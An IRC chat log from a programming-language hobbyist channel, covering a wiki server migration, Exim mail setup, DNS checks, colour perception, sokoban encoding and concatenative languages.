23:15:36 <elliott> 2) No subdomains created via the shared domain system are visible to Google. You *must* own the domain its self that you are creating a subdomain off of to have it visible to Google by default.
23:15:41 <elliott> That sounds rather like a policy Google would be very unhappy about.
23:16:10 <fizzie> It's also a rather weird policy.
23:16:59 <elliott> You gotta pay $$$ to get in Google.
23:17:45 <fizzie> Split DNS things aren't that uncommon, but usually it's for things like "the corporate intranet sees this, rest of the world that", not trying to show a different view to some parts of the internet.
23:18:27 <elliott> fizzie: Well, yes, it's weird.
23:18:30 <elliott> But the motivations aren't.
23:19:02 <elliott> I think I will ask the esolangs.org owner to use Linode's DNS servers, or else transfer the domain to me.
23:19:24 <elliott> (I'm hoping to get Graue to just redirect esoteric.voxelperfect.net to esolangs.org and have it become the official domain.)
23:21:31 <elliott> elliott@solidity:/var/www/test/mediawiki/maintenance$ time sudo -u www-data php importDump.php ~/allpages.xml
23:27:33 -!- Sgeo|web has joined.
23:28:24 <Sgeo|web> I remember asking about this before
23:28:39 <Sgeo|web> Is there a way more appropriate than a busy loop to notice when someone logs into a Linux system?
23:29:51 <fizzie> You can inotify-or-whatever watch /var/run/utmp, that's edited in most cases on login.
23:30:00 <elliott> fizzie: Anyway, it can't be *that* hard to parse wikicode.
23:30:06 <kallisti> is there a discrete number of colors?
23:30:41 <kallisti> but do we delineate an infinite spectrum of colors?
23:33:01 <olsner> I counted the colors once, there were indeed an infinite number of them
23:33:20 <fizzie> All that stuff's quantum, one presumes. Both the possible wavelengths as well as the amplitudes.
23:33:49 <itidus20> funny i was laying down in bed thinking about that very question
23:34:03 <itidus20> i started to relate red:green:blue to hours:minutes:seconds
23:34:20 <olsner> Sgeo: *iNotify, it's an apple product
23:34:25 <kallisti> Sgeo|web: I think it's the notification bubbles that pop up on the top right side of the screen in Ubuntu.
23:34:31 <kallisti> that was basically a wild guess
23:34:34 -!- amca has quit (Quit: Farewell).
23:34:37 <kallisti> it sounds like that's what it would be called.
23:34:58 <itidus20> and came up with such notions as 1 green = 256 blues.... 1 red = 65536 blues
23:35:00 <kallisti> inotify is a Linux kernel subsystem that acts to extend filesystems to notice changes to the filesystem, and report those changes to applications. It replaces an earlier facility, dnotify, which had similar goals.
23:35:05 <fizzie> Sgeo|web: It's a filesystem notification kernel interface dealie. You give it a list of files or directories to watch, and get events back.
23:36:03 <fizzie> Yes, there are higher-level interfaces on top of it.
23:36:48 <fizzie> And possibly even some programs you could run, though a simple inotify-using C program is certainly not very difficult.
23:39:11 <fizzie> A "gvfs-monitor-file" seems to exist. (Though did they deprecate the gvfs-* command-line tools?)
23:40:01 * elliott wonders what Sgeo|web's X is, now that we've solved the Y.
23:40:19 <fizzie> elliott: I think stalking.
23:41:07 <elliott> fizzie: Okay, then I want to know the W.
23:45:29 <kallisti> can something exist and also be immeasurable?
23:45:34 <kallisti> I think that's an important question.
23:46:29 <kallisti> but it's at the core of a lot of fundamental philosophical questions.
23:49:02 <kallisti> I think topology is the best field of mathematics because it lets you play with Play-Doh
23:50:51 <fizzie> Anyway, getting back to colours, I seem to recall that the eye is good enough at counting individual photons of visible light, when properly dark-adapted; but those are strictly the monochromatic rod cells; and if you're talking about colour differences that can be perceived, there's certainly not so many of those, though it's unobvious to count since the size of the region and adaptation level (max colors "at once" or a total count of ...
23:50:57 <fizzie> ... differentiable colors?) and things affect it.
23:51:53 <kallisti> fizzie: well you could make those parameters of a function and then see if the domain is uncountable.
23:52:27 <kallisti> it's likely a complex function though.
23:56:38 <zzo38> Do Theora and Dirac support stereovision?
23:58:00 <fizzie> It's obviously countable (there are measurable-by-instruments "colour differences" that human observers just can't differentiate; I think I've heard of some vision acuity-wrt-colour experiments), it's just hard to give an exact count about perceptual things, and it depends on what do you want to count.
23:58:05 <fizzie> If you buy the quantum stuff, I think there's also physically speaking a countable number of different spectral distributions. Amplitude at one frequency is obviously quantized, and I'd really assume wavelengths are, too.
23:58:32 <kallisti> fizzie: I want to count colors, duh. :P
00:00:34 <kallisti> I guess I'll insert some mathspeak: intervals of wavelengths within the visible color spectrum such that a suitable sample size of wavelengths from this interval are indistinguishable to 100% of a suitable sample size of human test subjects.
00:00:47 -!- Frooxius_ has joined.
00:01:34 <fizzie> Color isn't even a wavelength (unless you think "brown" isn't a color); it's a spectral energy distribution.
00:02:33 -!- Frooxius__ has joined.
00:03:21 <kallisti> isn't a specific color a (wavelength, luminance) pair?
00:03:37 <Gregor> You don't get to be a color.
00:04:12 -!- Phantom_Hoover has quit (Read error: Connection reset by peer).
00:04:16 <fizzie> Not if you ask a regular person. There's no "brown" wavelength.
00:04:17 -!- Frooxius has quit (Ping timeout: 240 seconds).
00:04:23 -!- Frooxius___ has joined.
00:04:26 -!- Frooxius___ has changed nick to Frooxius.
00:04:39 <fizzie> You need at least three coordinates, given that there's (usually) three types of color receptors.
00:04:49 <Gregor> If we were dichromates, all colors we were capable of perceiving would be representable identically as (wavelenth, luminance) pairs.
00:04:53 <Gregor> But we're trichromates.
00:04:58 <Gregor> Hence fizzie's mention of three :)
00:05:20 -!- Sgeo|web has quit (Quit: Page closed).
00:05:24 <fizzie> Except for the tetrachromates. Hands up, everyone who's one.
00:05:43 -!- Frooxius_ has quit (Ping timeout: 244 seconds).
00:05:51 <elliott> OK: http://li278-81.members.linode.com/wiki/Main_Page
00:05:55 <elliott> Does the site run fast for you guys?
00:05:59 <fizzie> I was just about to say "(You'll be shot.)"
00:06:02 <elliott> It should do (all the caching and everything is on).
00:06:09 <elliott> Although I haven't yet turned the PHP cache up to the maxxx.
00:06:19 <elliott> Gregor: How much did you click around? :P
00:06:35 * elliott would be interested in numbers on reloads (just plain Ctrl+R) from Chrome's Network tab.
00:07:16 <fizzie> I just frontpaged, that's all.
00:07:29 <fizzie> The phone's not really best for speedtesting.
00:07:46 -!- Frooxius__ has quit (Ping timeout: 255 seconds).
00:08:33 -!- pikhq has quit (Read error: Operation timed out).
00:08:55 -!- pikhq has joined.
00:10:13 <kallisti> I apparently don't understand color at all.
00:10:21 <elliott> pikhq: Hey, how fast does http://li278-81.members.linode.com/wiki/Main_Page load
00:11:01 -!- Chef_ has joined.
00:11:37 <kallisti> http://en.wikipedia.org/wiki/File:Cones_SMJ2_E.svg
00:11:45 <kallisti> this looks a lot like a wavelength, luminance pair to me.
00:14:01 <fizzie> kallisti: Yes, those are the response curves for the three types of receptors; a single (wavelength, luminance) pair is not enough to produce all (R1,R2,R3) response triplets that the receptors generate.
00:14:43 <zzo38> Please do not use the guns no being shot please.
00:15:08 <elliott> zzo38: If you tell me how quickly http://li278-81.members.linode.com/wiki/Main_Page loads, I'll never use the guns!
00:15:25 <kallisti> fizzie: hmm, because you can be perceiving multiple sources of light at once right?
00:16:34 <fizzie> It's not so much multiple sources as it is non-monochromatic sources; light that has energy at multiple wavelengths.
00:16:39 <zzo38> How do I time it on Windows?
00:16:41 <fizzie> Admittedly two coordinates in the CIE xy chromaticity diagram might be enough to define a "color", if you think all colors are in http://en.wikipedia.org/wiki/File:CIExy1931.png -- but that means "red" and "dark red" aren't differen't colors.
00:18:15 <kallisti> wouldn't dark red just have lower intensity...
00:18:18 <fizzie> Normally you just designate three wavelengths as "primaries", and specify their amplitudes, and then you get a triangle on that graph that you can repesent using those.
00:18:19 <zzo38> The footer HTML comment says 0.048 seconds
00:18:37 -!- nooga has quit (Ping timeout: 240 seconds).
00:18:41 <elliott> zzo38: That's how long MW takes to generate it. But anything faster than "it took 5 seconds" is OK by me.
00:18:41 <zzo38> But I don't know if that is correct
00:19:01 <zzo38> It does take less than 5 seconds.
00:19:36 <fizzie> Well, if you have (x,y) coordinates from that graph and "intensity" (it's not quite it), you again have three coordinates.
00:19:57 <zzo38> I am unable to log in.
00:20:08 <kallisti> fizzie: oh, hm, you're saying that by lowering the intensity at the "red" wavelength you actually add more green.
00:20:16 <fizzie> Normally you just designate three wavelengths as "primaries", and specify their amplitudes, and then you get a triangle on that graph that you can repesent using those primaries. Then you print your triangle and show it's bigger than your competitor's triangle.
00:20:39 <fizzie> Then home-theater enthusiasts buy your projector instead.
00:20:44 <elliott> zzo38: Yes, that's correct. It doesn't have the user table and the database is locked./
00:20:53 <kallisti> fizzie: do these competitions often happen over the internet? I think I've heard about what you're talking about.
00:20:53 <elliott> zzo38: I'm going to show this to Graue, basically.
00:21:07 <elliott> fizzie: Are those nameservers still down?
00:21:30 * kallisti still doesn't completely understand the distinction
00:21:36 <zzo38> fizie: No I want to use color with any number of primaries. RGB is a useful approximation but for high-quality it is insufficient.
00:22:04 <kallisti> it seems that the responsivity curves would describe all of the perceivable colors...
00:22:28 <kallisti> what is the third input parameter that doesn't correspond to wavelength and luminance?
00:22:32 -!- Chef_ has quit (Remote host closed the connection).
00:22:57 <zzo38> Whether it is trichromate or tetrachromate, there is still potentially inaccuracy but if it is trichromate only, it is somewhat inaccurate and if tetrachromate as well it is slightly less inaccurate but will still be inaccurate regardless; combination is less inaccurate but still inaccurate too bad sorry
00:23:17 <fizzie> kallisti: You need to be able to generate all possible (R1,R2,R3) values, where Rn is the energy of your spectral distribution integrated over the spectrum, multiplied by that curve.
00:23:18 <zzo38> And then, it also depend on, whether it is screen or printer, you need different colors for making accurate!
00:23:48 <fizzie> kallisti: You can't do that with a distribution that's a Dirac delta at particular wavelength, multiplied by an amplitude.
00:24:52 <fizzie> For the same reasons as you can't span the R^3 space with just two R^3 vectors.
00:26:04 <fizzie> (If all your energy is at one wavelength, R1=k1*a, R2=k2*a, R3=k3*a, where a is your amplitude and k1, k2, k3 are values of those curves at your wavelength.)
00:27:27 <elliott> What's that sendmail-providing package people use?
00:27:29 <elliott> That doesn't provide anything else.
00:27:38 <kallisti> "because there can be more than one input wavelength" would have been sufficient I think. :P
00:27:39 <fizzie> (Okay, the above might not be quite mathematically accurate and I'm sure with some curve shapes (like if two curves are exactly the same) you could get all responses with one peak that you can with an arbitrary distribution, but never mind that.)
00:27:49 <elliott> There's ssmtp, msmtp... I can't figure out which one to use. :p
00:28:17 <fizzie> elliott: "ssmtp" is the one really small one that just provides a "sendmail" binary which speaks directly to a SMTP server.
00:28:44 <fizzie> ISTR that "msmtp" might do pretty much the same thing.
00:28:55 <elliott> The following packages will be REMOVED:
00:28:56 <elliott> exim4-base exim4-config exim4-daemon-light
00:29:02 <elliott> If I have those, shouldn't I have sendmail(1)?
00:29:25 <fizzie> Ye-s, I'd think. But maybe it's in exim4-something.
00:29:39 <fizzie> Also it's in some weird place always.
00:30:17 <elliott> Exim is a Mail Transfer Agent. It is normally called by Mail User Agents,
00:30:17 <elliott> not directly from a shell command line. Options and/or arguments control
00:30:17 <elliott> what it does when called. For a list of options, see the Exim documentation.
00:30:27 <elliott> fizzie: So, is it plausible that PHP mail() fails because it can't find that sendmail?
00:30:48 <fizzie> I... guess, though sbin is not really a strange place.
00:31:09 <fizzie> It's where the Postfix sendmail combattability wrapper is, too.
00:31:09 <elliott> Where the sendmail program can be found, usually /usr/sbin/sendmail or /usr/lib/sendmail. configure does an honest attempt of locating this one for you and set a default, but if it fails, you can set it here.
00:31:35 <fizzie> I seem to recall PHP could also deliver by smtp by itself, but I could be wrong.
00:31:46 <elliott> http://jann.is/daily/archives/741-Cannot-send-mail-with-PHP-and-exim.html
00:32:16 <elliott> The -i option prevents a line containing just a dot from terminating the message. Only an end-of-file (generated by typing CTRL-D if the input is from a
00:32:30 <fizzie> Well, they're all sendmail-"compatible".
00:32:43 <fizzie> In that they ignore a bazillion options.
00:32:59 <elliott> Esolang could not send your confirmation mail. Please check your e-mail address for invalid characters.
00:32:59 <elliott> Mailer returned: Unknown error in PHP's mail() function.
00:33:32 <fizzie> ssmtp needs some global configuration; namely, the smtp server to speak to.
00:33:45 <elliott> I just want something that connects to a server and blabs mail at it.
00:35:20 <fizzie> Do you mean a specific outgoing-mail server (that would be ssmtp), or one that actually does MX lookups and tries to deliver to the proper servers and keeps queues since they're down and so on (that would be Exim, Postfix, sendmail, any "real" MTA)?
00:35:55 <elliott> The latter. But I don't care about the queue thing.
00:36:17 <elliott> Postfix is a pain to set up, right?
00:36:48 <fizzie> I don't think there's really any middle ground there; if you want a thing that does MX lookups and falls back to secondaries and so on, it's going to be a "real MTA".
00:37:41 <fizzie> The Debian default Postfix configs (it's got about five "templates" of which you can select, at least with dpkg-reconfigure) I think should get things mostly right.
00:37:50 <fizzie> But Exim's the "default" one.
00:38:37 <fizzie> They will all accept "local" mail, though, they're like that.
00:39:05 <elliott> I don't want it to accept mail.
00:40:11 <fizzie> If someone sends to postmaster@your1234.linode.com (or whatever the IP was), it'll get deposited to /var/spool/mail/root or somesuch, by the default configs. At least that's my guess.
00:40:13 <elliott> Removing -i appears to have helped exactly nothing.
00:40:24 <elliott> fizzie: I thought one of the "default" configs stopped that.
00:40:44 <elliott> Exim can be set up for "local delivery only; not on a network".
00:41:02 <fizzie> That's pretty much the opposite.
00:41:11 <elliott> Oh. So is that why this isn't working?
00:41:14 <elliott> That's what it defaults to.
00:41:15 <fizzie> Then it'll only let you sendmail to local accounts.
00:41:23 * elliott chooses internet site; mail is sent and received directly using SMTP
00:42:01 <elliott> │ IP-addresses to listen on for incoming SMTP connections: │
00:42:05 <elliott> fizzie: What if I just set this to the empty string?
00:42:20 <fizzie> Localhost like that could be good enough.
00:42:22 <elliott> If it listens on 127.0.0.1, the internet won't see it, will it?
00:42:30 <fizzie> Then smtp-to-localhost will still work.
00:42:42 <fizzie> M'k, well, that should work.
00:42:56 <elliott> ┌───────────────────────────────────────────────────────────────────┤ Mail Server configuration ├───────────────────────────────────────────────────────────────────┐
00:42:57 <elliott> │ The Debian exim4 packages can either use 'unsplit configuration', a single monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', where the │
00:42:58 <elliott> │ actual Exim configuration files are built from about 50 smaller files in /etc/exim4/conf.d/. │
00:43:05 <elliott> │ Unsplit configuration is better suited for large modifications and is generally more stable, whereas split configuration offers a comfortable way to make │
00:43:08 <elliott> │ smaller modifications but is more fragile and might break if modified carelessly. │
00:43:13 <elliott> │ A more detailed discussion of split and unsplit configuration can be found in the Debian-specific README files in /usr/share/doc/exim4-base. │
00:43:20 <elliott> │ Split configuration into small files? │
00:43:28 <elliott> Good god, it is difficult to express how little I care, Exim.
00:43:56 <fizzie> (Though since your server shows up in the "Received:" headers, some 1970s-era people might assume that postmaster@yourbox can be contacted for abuse reports.)
00:44:39 <elliott> "This allows the site administrator to specify an email address that the wiki can contact if something goes wrong. Current versions of MediaWiki (1.13 and above) do not use this setting, having delegated its uses to $wgPasswordSender, but future versions or extensions might."
00:45:01 <elliott> People emailing esolang@linode-crap will not get a reply, but... too lazy to fix this.
00:49:50 <fizzie> Oh, you might still get some local mail somewhere, since when exim gives up trying to deliver someone's registration mail, it'll probably try to make a bounce.
00:50:50 <fizzie> (Maybe not very noticeable volumes.)
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00:59:19 <fizzie> Okays, slep now, have some bloodletting scheduled in five hours or so.
00:59:25 <zzo38> Something I wonder: What is the best compression scheme, which is not too complicated, for sokoban levels?
01:01:57 <shachaf> Why do you need to care about compression for sokoban levels?
01:02:21 <zzo38> Actually I am just thinking about it; it is not entirely very important.
01:07:26 <tswett> Say. Would anyone happen to know if the Thue-Morse sequence can be found by sampling periodically from a periodic function?
01:07:42 <tswett> Wait, of course it can.
01:08:45 <tswett> Can it be found by sampling periodically from... a periodic, Riemann-integrable function?
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02:40:21 <elliott> Is anyone with IPv6 present?
02:41:29 <elliott> Does http://[2a01:7e00::f03c:91ff:fedf:9fdd]/wiki/Main_Page work correctly?
02:45:49 <shachaf> elliott: Oh, I only have it on a VPS.
02:45:55 <shachaf> What do the brackets mean?
02:47:49 <shachaf> Oh, they're used to disambiguate the port : or something?
02:48:14 <elliott> Just use curl or whatever.
02:49:18 <shachaf> Connecting to 2a01:7e00::f03c:91ff:fedf:9fdd:80... failed: Connection refused.
02:50:36 <elliott> "To attach an IP to your interface, issue the following command, making sure to replace the example IP with one of your pool addresses:
02:51:13 <elliott> OK, I should write the email to Graue.
02:51:40 <shachaf> elliott: Well, ping6 worked...
02:52:00 <elliott> http://esoteric.voxelperfect.net/wiki/800_numbers
02:52:14 <elliott> Probably I need to fiddle with nginx configuration.
02:52:38 <shachaf> I can't get it to accept a connection on any port.
02:53:11 <shachaf> I was thinking 800 numbers was an esolang.
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03:06:27 <zzo38> How I have encoded a sokoban game is basically like this: The level is encoded as a stream of nybbles. First encode the size and the starting position (the size is offset by the minimum). And then encode walls using RLE but only the length; it automatically alternates wall/floor, and the player's position is skipped. And then, for the floors (including the player), encode RLE of the targets.
03:07:20 <zzo38> After that, the number of crates is already known because it equal number of targets. Encode number of empty spaces to the next crate, skipping walls, player, and spaces where a crate would get stuck. And that is finish.
03:08:41 <zzo38> How well would you think this work?
03:09:58 <zzo38> The edge of the board is automatically filled with walls and is not part of the encoding.
03:16:06 <elliott> Guses what I have ready to send?
03:19:35 <elliott> Gregor: Oioi. calamari: oi.
03:20:10 <elliott> monqy: You have an Esolang account, yes?
03:20:22 <shachaf> Why does Gregor get six times as many Ois as pikhq?
03:20:36 <monqy> elliott: yes its monqy
03:20:52 <elliott> monqy: Right. Unfortunately you've made two (2) non-spam-revert edits so I can't use you.
03:21:18 <monqy> oh right a talk page thing probably
03:21:21 <elliott> http://esolangs.org/w/index.php?title=User_talk:Billlam&diff=prev&oldid=23812
03:21:35 <elliott> http://esolangs.org/w/index.php?title=User_talk:Billlam&diff=next&oldid=23813
03:22:41 <monqy> http://esolangs.org/w/index.php?title=User:Monqy&oldid=22370 monqys proudest edit
03:23:16 <elliott> Why aren't those oi'd people awake?
03:23:28 <shachaf> Why didn't you Oi people who were awake?
03:23:38 <zzo38> Why do you need to know the number of non-spam-revert edits?
03:23:51 <shachaf> elliott: Did you know irssi only beeps when your nick is mentioned *right at the beginning* of a line?
03:24:55 <zzo38> shachaf: My client doesn't beep at all unless you tell it to; and if you do tell it to, you can configure your own pattern. Maybe irssi has a similar feature?
03:25:28 <shachaf> I'm talking about the default.
03:26:25 <zzo38> I want to figure out compressed sokoban encoding so that I can figure out how many will fit in various media, such as simple handwritten codes, QR codes, short radio signals, NES/Famicom cartridges, DVD, etc
03:26:33 <elliott> http://sfbay.craigslist.org/sfc/cpg/2854040585.html
03:26:37 <elliott> "To apply (required step):
03:26:37 <elliott> Please enclose your favorite one-liner in your favorite esoteric language :)"
03:26:40 <zzo38> And then can do similar thing for more complicated games too, such as tsume shogi
03:26:41 <elliott> shachaf: Y Combinator, man.
03:28:24 <shachaf> elliott: Hey, maybe I should go work there.
03:28:30 <shachaf> Except I hate all esoteric languages equally.
03:28:36 <shachaf> So I guess it's pointless.
03:29:14 <elliott> http://esolangs.org/wiki/Underload
03:29:23 <monqy> is it possible to hate underload
03:32:35 <shachaf> I hate all esoteric languages equally.
03:32:52 <elliott> What if Underload wasn't esoteric?
03:33:05 <shachaf> All programming languages are esoteric.
03:36:14 <shachaf> elliott: Did you double-check to make sure that the email doesn't consist of the words "HEY GRUEWAHTVERF I HATE U"?
03:36:31 <shachaf> That would be the wrong thing to write.
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03:37:24 <shachaf> elliott: You're well-known for telling people you don't like them very much, after all.
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03:45:26 <elliott> calamari: Too late! But hi.
03:45:53 <elliott> shachaf: You sure do like YAML.
03:46:05 <elliott> calamari: (I was trying to find more people to support my presidential run.)
03:46:31 <shachaf> elliott: I don't like it as much as a certain other person.
03:47:28 <calamari> and by too late, does that mean you lost already?
03:47:51 <elliott> By "presidential run", I mean "server migration plan".
03:49:21 <calamari> ron paul is on the way out so looks like I'll be voting LP this primary
03:50:45 <calamari> don't feel like switching to republican party for the primary when he's already lost
03:53:08 <pikhq> elliott: You could've assumed my support by default. :P
03:54:23 <elliott> Yes, but then what if he came into #esoteric and went "pikhq!! DID YOU EXPLICITLY SUPPORT HIM" and you'd be all "No" and he'd be all "I WILL STRIKE HIM DOWN"
03:54:32 <elliott> Graue is a very scary man.
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04:27:28 <elliott> Hmph, cached pages aren't being sent gzipped.
04:36:54 <zzo38> I am making a text adventure system in Haskell. Here is some types is this good to you? type GameFunction = (Game, TranscriptItem) -> (String, SystemRequest); data SystemRequest = UserInput !String !Game | UserDirectInput !String !Game | RewindTo !Int (Game -> Game) | RequestRandomNumber !Int !Game | GameOver;
04:38:49 <zzo38> Should it be designed differently?
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05:46:04 <evincar> Don't everybody talk at once.
05:50:51 <evincar> The people in #concatenative had mixed reactions to an article I wrote about concatenative languages.
05:51:11 <evincar> Wasn't the best thing I've ever written...
05:51:38 <monqy> you didn't embarrass them did you
05:51:42 <evincar> I dunno, it's embarrassing. Bask in my embarrassment.
05:51:51 <elliott> Things you write have differing levels of badness?
05:51:58 <evincar> I got new people to come to their channel.
05:52:01 <elliott> We saw it, by the way. Unfortunately.
05:52:18 <evincar> I go from mediocre to quite terrible.
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06:17:52 <Sgeo> How easy/difficult would it be to make a Smalltalk VM for LSL?
06:18:23 <Sgeo> Although I can't even begin to envision how to begin building anything like an IDE
06:18:40 <monqy> is that the second life thing? heh heh heh
06:18:53 <fizzie> Weren't you doing [insert language here] for LSL?
06:19:31 <monqy> you could do a concatenative language!!!!!
06:32:04 <evincar> They are all the rage, don't you know.
06:34:02 <elliott> by the way, "concatenative language" has a concrete definition.
07:01:42 <evincar> Look, I could have done a better job on that article.
07:01:54 <evincar> I had spent a while writing it and got fed up with it.
07:02:14 <evincar> So I just posted it, submitted it to HN, and waited to see what happened.
07:02:30 <evincar> What happened is way more people read it than I'd expected.
07:06:49 <elliott> just thought you should know
07:07:59 <evincar> Alright, explain it to me.
07:08:22 <evincar> If I really ought to know.
07:08:31 <evincar> Learning new things is great.
07:10:21 <elliott> a language in which syntactic composition is semantic composition. "A concatenative programming language is a point-free programming language in which all expressions denote functions and the juxtaposition of expressions denotes function composition." --Wikipedia or more formally (from [[Joy]]): "the meaning function is a homomorphism from the syntactic monoid onto the semantic monoid"
07:11:47 <elliott> for instance you can turn a language with f(x) style application into one with f(g) style composition but it would not be concatenative.
07:12:15 <evincar> That's a good way of putting it.
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07:17:51 <Sgeo> evincar, your article
07:18:13 <evincar> Ugh, fucking http://evincarofautumn.blogspot.com/2012/02/why-concatenative-programming-matters.html
07:19:25 <Sgeo> Oh, that's yours?
07:20:35 * Sgeo blames evincar for his newfound interest in Smalltalk (because I was looking at Factor thanks to that article, then Slava apparently stopped doing Factor stuff)
07:20:52 <evincar> Yeah, I just found out about that from the comments on HN.
07:21:04 <evincar> Apparently Factor development is to cease.
07:22:04 <evincar> Which I guess will be good for marketing Prog, if people end up looking for "the next concatenative language".
07:22:04 <Sgeo> I wonder if the reason that I like Pharo and its IDE so much might have more to do with me perceiving more mainstream IDEs as bloated
07:22:27 <evincar> "My current language project."
07:22:39 <evincar> Even though I sound like such an ass whenever I say that now.
07:22:41 <monqy> is that that language
07:22:47 <evincar> No it is not that language.
07:22:50 <evincar> It is a different language.
07:22:56 <monqy> what happened to that language :'(
07:22:58 <evincar> But hey, at least there's only one right now.
07:23:13 <Sgeo> " Built-in functions and flow-control statements are actually operators."
07:23:18 <evincar> The Smalltalky one with weird compositional semantics?
07:23:30 <monqy> every language of you'rs youv'e presented in here
07:23:40 <Sgeo> Misread that at first, I think.
07:23:58 <elliott> i don't think there is any indication factor development will cease completely.
07:23:59 <Sgeo> I do appreciate flow-control being actually ... library-like, but built-in functions are operators?
07:24:04 <Sgeo> That's .. a bit new to me
07:24:08 <evincar> Sgeo: I dunno what you're quoting from. Probably an old article on my blog that sucks?
07:24:14 <Sgeo> http://prog.sourceforge.net/cgi-bin/SyntaxOverview
07:24:15 <monqy> also what does "built in functions and flow-control statements are actually operators" even mean or do i not want to know
07:24:28 <Sgeo> Or am I looking at the wrong Prog?
07:24:30 <evincar> Ugh fuck don't look at that repo.
07:24:39 <evincar> Same name for a different thing.
07:24:50 <monqy> maybe you should pick a less already used name
07:25:05 <Sgeo> "Some types like to "decay" into other types. Any operation on a value of a radioactive type R results in an R containing a closure describing the operation. "
07:25:16 <monqy> that reminds me of what was that amazing language
07:25:42 <evincar> Radioactive types != lazy evaluation, if that's what you mean.
07:25:46 <coppro> http://www.amazinglanguage.com/
07:25:47 <monqy> http://alefpp.sourceforge.net/
07:25:56 <Sgeo> evincar, so it IS your thing?
07:26:14 <monqy> evincar made two things called prog?????
07:26:17 <evincar> Sgeo: I created that SourceForge project ages ago, yeah.
07:26:29 <monqy> you're your own worst enemy
07:26:45 <evincar> monqy: I decided Prog shouldn't be the ill-defined thing it was, and redefined it, borrowing the good stuff from the original.
07:26:55 <monqy> elliott: don't you remember??
07:26:59 <monqy> elliott: it's Alef++!
07:27:07 <Sgeo> "Alef++, has a crazy syntax."
07:27:28 <Sgeo> That's... never the most advertised thing on any language that is not an esolang.
07:27:31 <Sgeo> Pretty much ever.
07:27:45 <Sgeo> Sure, some languages have unusual seeming syntax, but that's usually not a selling point, is it?
07:27:52 <monqy> it's the closest i've found to the sourcereal of programming languages
07:27:56 <evincar> I think he means "crazy" in the sense that preteens mean "random".
07:28:20 <monqy> (my life goal is to find the sourcereal of programming languages)
07:31:05 <evincar> Sigh. No sense of comedic timing.
07:32:06 <evincar> In any case, the "hurr durr operators" thing was because the original thing that was called Prog could be parsed with an operator precedence parser.
07:32:44 <evincar> So everything built-in was an operator.
07:34:48 <monqy> eliot president of esolangs
07:40:20 <fizzie> I wonder if they already have "gets() 19xx-2011 never forget" T-shirts available.
07:40:41 <elliott> fizzie: Those afraid nameservers are still down, right?
07:41:04 <elliott> http://freedns.afraid.org/news/
07:41:05 <fizzie> elliott: Bad news, the email was just a string of profanities?
07:41:31 <fizzie> They said things are looking up, or something, when I checked in the morning.
07:41:48 <elliott> Good news, i.e. he thinks the plan is a good one.
07:42:20 <fizzie> You figured that out from the string of profanities? Good decoding. (I mean, I suppose this is one of those good-news-bad-news-good-news-bad-news routines.)
07:42:52 <elliott> They were very articulate profanities!
07:42:57 <fizzie> $ dig @ns4.afraid.org esolangs.org a | grep '^eso.*IN.*A'
07:42:57 <fizzie> esolangs.org. 3600 IN A 207.7.108.149
07:43:00 <quintopia> fizzie: like the chef sketch in the first key and peele. <3 that sketch.
07:43:04 <fizzie> It seems to work-ish. But ns3 doesn't.
07:43:19 <fizzie> So there might be delays and such.
07:43:44 <fizzie> (Dig's so verbose, it's annoying to paste.)
07:44:45 <elliott> There's that nslookup thing.
07:46:56 <fizzie> And the BIND9-utils 'host' tool, that's not too bad.
07:47:03 <ion> dig +short
07:47:24 <fizzie> Well, that's very short.
07:48:09 <fizzie> Isn't there any "+short-ish-but-not-quite-that-short-i-mean-like-one-line-but-maybe-still-repeat-the-name-and-type-or-something"?
07:48:27 <ion> dig +noall +answer
07:48:58 <fizzie> It's also shorter than my proposed name.
07:49:08 <elliott> fizzie: Why did you want a MW parser, by the way?
07:49:45 <fizzie> Oh, I didn't, now; I just recall wanting one a couple of years back and things weren't... good. Not sure what for.
07:50:17 <elliott> fizzie: That's a shame, I was going to bet you I could write a fully-compatible one.
07:51:05 <fizzie> Like you mean 32 megabytes or something!? (Are the caches in fact even larger nowadays? I really haven't been following.)
07:51:07 <ion> How much is huge cache * cash * cache? Is huge cache * cache = huge cache²?
07:51:19 <elliott> fizzie: They've been shrinkin'.
07:51:40 <elliott> i7 has 256-k-per-core-or-so and 8 meg L3.
07:51:50 <elliott> Yes, seems it's the same now.
07:51:59 <fizzie> "cache size : 6144 KB" on this old thing.
07:52:10 <fizzie> So I guess 32 megs is quite many megs.
07:52:29 <elliott> ion: Well, obviously juxtaposition is multiplication. So it's a huge cash cache^2.
07:52:33 <elliott> A cache of caches of cash.
07:52:46 <elliott> So if you store all your guns and money somewhere, and then have a big storage of those...
07:53:13 <ion> It’s caches all the way down.
07:53:44 <pikhq> Some recent Xeons go up to 30MiB L3.
07:54:09 <pikhq> And, yes, that's "really huge cache"
07:55:02 <elliott> Eventually we'll just have terabyte L1s or something.
07:55:12 <fizzie> Xeon E7-8867L, ten cores, 10x256k L2, 30M L3, I see.
07:55:25 <pikhq> fizzie: And up to 8 chips supported. :)
07:55:53 <pikhq> elliott: Yeah, but then we'll have petabyte RAM and still 200MHz RAM clock.
07:57:21 <fizzie> They installed a couple (16?) Nvidia Tesla M2090 cards to our cluster for testing, those are supposedly pretty spiffy.
07:58:06 <fizzie> Also two "fat nodes" with 1T of RAM each; I wonder if they feel bad about being called that.
08:00:50 <fizzie> The old ones were some kind of 12-core (2*6) Opterons; these new are some kind of Xeons, but I see no-one's bothered to update the documentation yet.
08:02:33 <fizzie> Ah, it's also 2*6 of Xeon X5650.
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08:23:20 <fizzie> "Footage has finally surfaced of Dean Dinnen's chainsaw-assisted attack at The Endyke Pub in Hull. Wasted and stoned out of his mind, the 24-year-old got sensitive after being told he couldn't smoke inside of the bar. Drowning in liquor and his feelings, he went back to his crib to grab his chainsaw.
08:23:25 <fizzie> Dinnen returned to the pub, wielding the weapon in a substance-fueled raged. Other customers tossed bar stools, kegs, and pool cues at him, but that didn't stop him from tearing through 32-year-old Andrew Pryor's arm."
08:24:00 <fizzie> In here people just use axes.
08:25:55 <fizzie> You should have slept and woken up, that's what I didded.
08:26:08 <ion> In Finland, the people tossing bar stools etc. would probably get fined or jailed for assault and battery.
08:29:34 <elliott> One wonders why he had a chainsaw in the first place.
08:30:32 <ion> Related (in Finnish, sorry): http://www.aamulehti.fi/Kotimaa/1194722981981/artikkeli/il+mies+hyppasi+liikkuvasta+taksista+kuljettajalle+vaadittiin+tuomiota+kuolemantuottamuksesta.html
08:30:34 <fizzie> Zombie survivalists all have.
08:32:10 <elliott> ion: Oh no, don't tell me you're Finnish too.
08:32:25 <fizzie> "The district court sentenced the driver only traffic from exile." Oh, Google Translate.
08:33:18 <ion> elliott: Ok, i won’t.
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08:36:54 <elliott> Man, I bet Graue is sleeping right now. Why amn't I?
